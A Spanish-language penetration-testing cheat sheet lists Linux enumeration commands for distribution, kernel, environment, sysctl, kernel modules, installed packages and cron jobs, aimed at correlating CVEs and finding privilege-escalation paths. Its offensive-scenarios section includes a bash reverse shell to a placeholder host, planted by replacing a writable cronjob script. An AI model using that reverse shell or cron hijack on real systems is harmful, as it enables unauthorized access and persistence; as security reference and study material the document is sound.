Obtener Información del Sistema Operativo
Comandos para obtener información del sistema: distribución, kernel, entorno, syscalls, tuning, módulos, aplicaciones y tareas programadas.
Obtener Información del Sistema Operativo
Operational Scope & Technical Objective
El fingerprinting del SO se apoya en tres fuentes: archivos bajo /etc (banners de distribución), /proc (versión de kernel y sysctls) y las herramientas del paquete util-linux/procps. Conocer la distribución, versión exacta de kernel y paquete gestor permite correlacionar CVEs, mientras que el inventario de aplicaciones, módulos del kernel, sysctls y tareas programadas alimenta la fase de escalada de privilegios.
High-Impact Syntax & Command Cheatsheet
Distribución
cat /etc/issue # banner de login (distro y versión)
cat /etc/*-release # metadatos de la distribución
cat /etc/lsb-release # Debian/Ubuntu
cat /etc/redhat-release # Red Hat / CentOS
Kernel
cat /proc/version # string de compilación del kernel
uname -a # kernel, host, arquitectura
uname -mrs # máquina, release, sistema
rpm -q kernel # paquetes de kernel instalados (RPM)
dmesg | grep Linux # mensajes de arranque con versión del kernel
ls /boot | grep vmlinuz- # kernels presentes en /boot
Entorno
cat /etc/profile # entorno global de login
cat /etc/bashrc # bash global (RHEL)
cat ~/.bash_profile # entorno de login del usuario
cat ~/.bashrc # bash interactivo del usuario
cat ~/.bash_logout # acciones al salir
env # variables de entorno actuales
set # variables y funciones del shell
Impresoras
lpstat -a # colas de impresión disponibles
Syscalls disponibles
cat /usr/include/i386-linux-gnu/asm/unistd_32.h # tabla de syscalls (i386)
Kernel tuning (sysctl)
sysctl # muestra/ajusta parámetros del kernel en runtime
sysctl -a | less # ver toda la configuración efectiva
# Cambios temporales:
sysctl -w net.ipv4.ip_forward=1
# Cambios permanentes:
vim /etc/sysctl.conf
Módulos del kernel
ls -l /etc/modprobe.d/ # config de los módulos (modprobe)
ls -R /lib/modules/$( uname -r )/kernel # módulos disponibles para el kernel activo
insmod <module> # inserta un módulo en el kernel
modprobe -r <module> # elimina un módulo (resuelve dependencias)
rmmod <module> # elimina un módulo directamente
modprobe -l # lista módulos disponibles
lsmod # módulos cargados en el kernel activo
Aplicaciones instaladas y versiones
ls -alh /usr/bin/ # binarios de usuario
ls -alh /sbin/ # binarios de sistema
dpkg -l # paquetes instalados (Debian)
rpm -qa # paquetes instalados (RPM)
ls -alh /var/cache/apt/archives # archivos .deb en caché
ls -alh /var/cache/yum/ # caché de yum
Tareas programadas
crontab -l # cron del usuario
ls -alh /var/spool/cron # crontabs de usuarios
ls -al /etc/ | grep cron # directorios/archivos cron en /etc
ls -al /etc/cron* # directorios cron (hourly/daily/weekly/monthly)
cat /etc/cron* # contenido de las definiciones cron
cat /etc/at.allow # usuarios autorizados para at
cat /etc/at.deny # usuarios excluidos de at
cat /etc/cron.allow # usuarios autorizados para cron
cat /etc/cron.deny # usuarios excluidos de cron
cat /etc/crontab # crontab del sistema
cat /etc/anacrontab # anacron (tareas no 24/7)
cat /var/spool/cron/crontabs/root # crontab de root
Real-World Offensive/Defensive Scenarios
-
Correlación de CVEs (ofensivo): la pareja
uname -a+cat /etc/*-releasese contrasta contralinux-exploit-suggester.sh;rpm -qa/dpkg -lextienden el análisis a aplicaciones de usuario con versiones vulnerables. -
Persistencia y escalada por cron (ofensivo): el bloque de tareas programadas revela scripts periódicos; si un cronjob referencia rutas relativas o archivos modificables, se sustituye el script para ejecutar un reverse shell:
#!/bin/bash bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 -
Syscalls restringidas y módulos (defensivo): auditar
lsmodpara detectar módulos no autorizados,sysctl -apara verificarkernel.dmesg_restrict=1,kernel.kptr_restrict=2ynet.ipv4.ip_forward, ydpkg -l/rpm -qapara rastrear software desactualizado.